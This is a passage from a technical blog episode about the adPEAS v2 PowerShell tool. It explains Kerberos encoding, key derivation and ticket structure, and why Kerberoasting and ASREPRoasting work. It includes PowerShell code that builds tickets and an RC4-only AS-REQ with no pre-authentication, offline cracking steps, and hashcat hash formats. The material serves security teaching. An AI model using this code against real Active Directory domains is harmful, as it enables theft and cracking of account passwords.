(New-ASN1ContextTag 7 (New-ASN1GeneralizedTime $EndTime)),
(New-ASN1ContextTag 8 (New-ASN1GeneralizedTime $EndTime.AddDays(7))),
(New-ASN1ContextTag 9 $authData)
)
# Wrap in Application tag [3]
$encTicketPartApp = New-ASN1ApplicationTag 3 $encTicketPart
# Encrypt with service key
$encryptedPart = Encrypt-KerberosData -Key $ServiceKey -EType $ServiceKeyEType `
-Usage 2 -Plaintext $encTicketPartApp
# Build the Ticket
$snameParts = $ServiceName -split '/'
$snameType = if ($snameParts.Length -gt 1) { 2 } else { 1 }
$ticket = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-ASN1Integer 5)), # tkt-vno
(New-ASN1ContextTag 1 (New-ASN1GeneralString $Domain.ToUpper())),
(New-ASN1ContextTag 2 (New-PrincipalName -Type $snameType -Names $snameParts)),
(New-ASN1ContextTag 3 (New-EncryptedData -EType $ServiceKeyEType `
-KVno 2 -Data $encryptedPart))
)
# Wrap in Application tag [1]
$ticketApp = New-ASN1ApplicationTag 1 $ticket
# Return both the ticket and the session key (needed for KRB-CRED)
return @{
Ticket = $ticketApp
SessionKey = $sessionKey
SessionKeyEType = $sessionKeyEType
}
}
Part 6: Why Kerberoasting and ASREPRoasting Work
Now that you understand the full stack — ASN.1 encoding, key derivation, encryption, and ticket structures — let us see why the two most common Kerberos attacks work.
Kerberoasting: The Cryptographic Explanation
The setup:
- Any authenticated user can request a Service Ticket for any SPN
- The Service Ticket’s
enc-partis encrypted with the service account’s key - The service account’s key is derived from its password
The attack:
+----------+ +---------+
| Client | | KDC |
+----+-----+ +----+----+
| |
| TGS-REQ for SPN "MSSQLSvc/db01:1433" |
| (any authenticated user can do this) |
|------------------------------------------>|
| |
| TGS-REP |
| +-- ticket: |
| +-- enc-part: |
| +-- etype: 23 (RC4) or 18 (AES) |
| +-- cipher: Encrypt( |
| service_account_key, |
| EncTicketPart) |
|<------------------------------------------|
| |
| NOW OFFLINE: |
| For each candidate password: |
| 1. Derive key from password |
| 2. Try to decrypt enc-part |
| 3. Check if decrypted data is valid |
| ASN.1 (Application tag [3]) |
| 4. If valid -> password found! |
| |
Why it works — the crypto details:
For RC4-HMAC (etype 23):
1. Key = MD4(UTF-16LE(password)) # No salt, no iterations
2. K1 = HMAC-MD5(Key, usage=2) # Usage 2 = ticket encryption
3. Checksum = first 16 bytes of cipher
4. K2 = HMAC-MD5(K1, Checksum)
5. Plaintext = RC4(K2, remaining cipher)
6. Verify: HMAC-MD5(K1, Plaintext) == Checksum?
This is fast because:
- MD4 is extremely fast (no iterations)
- One HMAC-MD5 + one RC4 decryption per attempt
- The checksum provides instant verification
- Modern GPUs can test billions of RC4-HMAC candidates per second
For AES (etype 18):
1. Salt = "CONTOSO.COM" + sAMAccountName
2. Key = PBKDF2-SHA1(password, salt, 4096, 32)
3. Ke = DK(Key, usage=2 + 0xAA)
4. Ki = DK(Key, usage=2 + 0x55)
5. Decrypt AES-CTS with Ke
6. Verify: HMAC-SHA1(Ki, plaintext)[0..11] == checksum?
This is slower because:
- PBKDF2 with 4096 iterations (4096x slower than RC4)
- AES decryption is more complex than RC4
- But still feasible for weak passwords
Why adPEAS requests RC4 when Kerberoasting:
# In the TGS-REQ, adPEAS lists etypes in this order:
$etypes = @(23) # Only RC4-HMAC
# Why? Because:
# 1. RC4 tickets are MUCH faster to crack
# 2. The KDC will use RC4 if the service account supports it
# 3. Most service accounts still have RC4 enabled
ASREPRoasting: The Missing Pre-Authentication
Normal AS exchange (pre-auth required):
Client KDC
| |
| AS-REQ (no pre-auth data) |
|----------------------------------------->|
| |
| KRB-ERROR: PREAUTH_REQUIRED |
| (tells client which pre-auth to use) |
|<-----------------------------------------|
| |
| AS-REQ with PA-ENC-TIMESTAMP |
| (timestamp encrypted with user key) |
|----------------------------------------->|
| |
| KDC decrypts timestamp, verifies it |
| Only THEN sends the AS-REP |
| |
| AS-REP (TGT + enc-part) |
|<-----------------------------------------|
| |
ASREPRoast (pre-auth disabled — DONT_REQ_PREAUTH flag):
Client KDC
| |
| AS-REQ (no pre-auth data) |
| (just the username, nothing else) |
|----------------------------------------->|
| |
| KDC does NOT verify identity! |
| Just builds and sends the AS-REP |
| |
| AS-REP: |
| +-- ticket: TGT (encrypted with |
| | krbtgt key -- we cannot crack this) |
| +-- enc-part: (encrypted with the |
| USER'S key -- THIS we can crack!) |
|<-----------------------------------------|
| |
| NOW OFFLINE: |
| The enc-part is encrypted with the |
| user's key (derived from password). |
| Same brute-force as Kerberoasting. |
| |
The critical difference: With normal pre-authentication, the KDC verifies the client knows the password BEFORE sending any encrypted material. Without pre-auth, the KDC just hands over the encrypted material to anyone who asks.
# adPEAS ASREPRoast request -- no pre-auth data at all
function New-ASREPRoastRequest {
param(
[string]$Username,
[string]$Realm
)
# Build AS-REQ WITHOUT any padata
$reqBody = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-KDCOptions "forwardable,renewable,canonicalize,renewable-ok")),
(New-ASN1ContextTag 1 (New-PrincipalName -Type 1 -Names @($Username))),
(New-ASN1ContextTag 2 (New-ASN1GeneralString $Realm)),
(New-ASN1ContextTag 3 (New-PrincipalName -Type 2 -Names @("krbtgt", $Realm))),
(New-ASN1ContextTag 5 (New-ASN1GeneralizedTime "20370913024805Z")),
(New-ASN1ContextTag 7 (New-ASN1Integer (Get-Random -Maximum ([int32]::MaxValue)))),
(New-ASN1ContextTag 8 (New-ASN1SequenceOf @(
(New-ASN1Integer 23) # Request RC4 only for faster cracking
)))
)
$kdcReq = New-ASN1Sequence @(
(New-ASN1ContextTag 1 (New-ASN1Integer 5)), # pvno
(New-ASN1ContextTag 2 (New-ASN1Integer 10)), # msg-type (AS-REQ)
# NO [3] padata -- that is the whole point
(New-ASN1ContextTag 4 $reqBody)
)
return (New-ASN1ApplicationTag 10 $kdcReq)
}
Hash Format for Cracking
adPEAS outputs hashes in standard hashcat/John formats:
Kerberoasting (hashcat mode 13100 for RC4, 19700 for AES):
$krb5tgs$23$*sqlsvc$CONTOSO.COM$MSSQLSvc/db01.contoso.com:1433*$<checksum>$<cipher>
$krb5tgs$18$*sqlsvc$CONTOSO.COM$MSSQLSvc/db01.contoso.com:1433*$<checksum>$<cipher>
ASREPRoasting (hashcat mode 18200):
$krb5asrep$23$admin@CONTOSO.COM:<checksum>$<cipher>
Summary
The Kerberos Stack
Everything we covered in this episode, layered from bottom to top:
+---------------------------------------------------------------+
| Kerberos Attacks |
| Kerberoasting, ASREPRoast, Golden/Silver/Diamond Tickets |
+---------------------------------------------------------------+
| Ticket Structure |
| Ticket, EncTicketPart, PAC, Authorization Data |
+---------------------------------------------------------------+
| Message Types |
| AS-REQ/REP, TGS-REQ/REP, AP-REQ/REP, KRB-CRED |
+---------------------------------------------------------------+
| Encryption |
| RC4-HMAC, AES-CTS-HMAC-SHA1-96, Checksums |
+---------------------------------------------------------------+
| Key Derivation |
| MD4 (RC4), PBKDF2 + n-fold + DK (AES), Ke/Ki/Kc |
+---------------------------------------------------------------+
| ASN.1 / DER Encoding |
| Tag-Length-Value, Context Tags, SEQUENCE, APPLICATION |
+---------------------------------------------------------------+
| Network Transport |
| TCP/UDP port 88, Kerberos realm, KDC discovery |
+---------------------------------------------------------------+
Key Takeaways
-
ASN.1 is the foundation. Every Kerberos message is ASN.1 DER encoded. Understanding TLV encoding and context-specific tags is essential for building or parsing any Kerberos message.
-
Key derivation is the weakest link. RC4-HMAC uses a single unsalted MD4 hash. AES uses PBKDF2 with 4096 iterations and a salt. This difference is why RC4 tickets are orders of magnitude faster to crack.
-
Encryption determines attack feasibility. RC4-HMAC is fast to brute-force. AES-CTS-HMAC-SHA1 is significantly slower. Always prefer AES in production; always request RC4 when attacking.
-
Tickets are opaque to clients. The client never sees inside the TGT or Service Ticket. But the encrypted data contains everything: session keys, timestamps, PAC, flags. If you have the encryption key, you can build anything.
-
Kerberoasting works because the Service Ticket is encrypted with the service account’s password. The KDC hands over the encrypted material to any authenticated user. No special privileges needed.
-
ASREPRoasting works because the KDC skips identity verification. Without pre-authentication, anyone can request an AS-REP and get material encrypted with the user’s key.
-
adPEAS builds everything from scratch. No dependencies on external libraries. Pure PowerShell ASN.1 encoding, key derivation, and encryption. This means it works on any Windows system with PowerShell.
Looking Ahead
In the next episode, we will go even deeper into the PAC (Privilege Attribute Certificate) — the data structure inside every ticket that determines who you are and what groups you belong to. We will see how adPEAS forges PACs for Golden, Silver, and Diamond Tickets, including the cryptographic signatures that make the KDC trust a forged ticket.
← Episode 6: Offensive Operations | Episode 8: PAC & Ticket Forging — coming soon
About the Author
Related Articles
adPEAS v2 Blog Series: Active Directory Security Analysis with adPEAS
Introducing adPEAS v2 — a complete rewrite of the PowerShell-based Active Directory analysis tool with native Kerberos support, zero dependencies, and over 40 security checks.
adPEAS v2 Episode 2: Under the Hood - Anatomy of a Scan
What happens when adPEAS scans an Active Directory? From authentication and LDAP queries to context-dependent severity ratings and caching -- a look under the hood.
adPEAS v2 Episode 3: Authentication Deep-Dive - From Password to Certificate
Deep dive into adPEAS v2 authentication: Kerberos internals, Pass-the-Hash, Pass-the-Key, PKINIT with certificates, Shadow Credentials, and Pass-the-Cert via Schannel.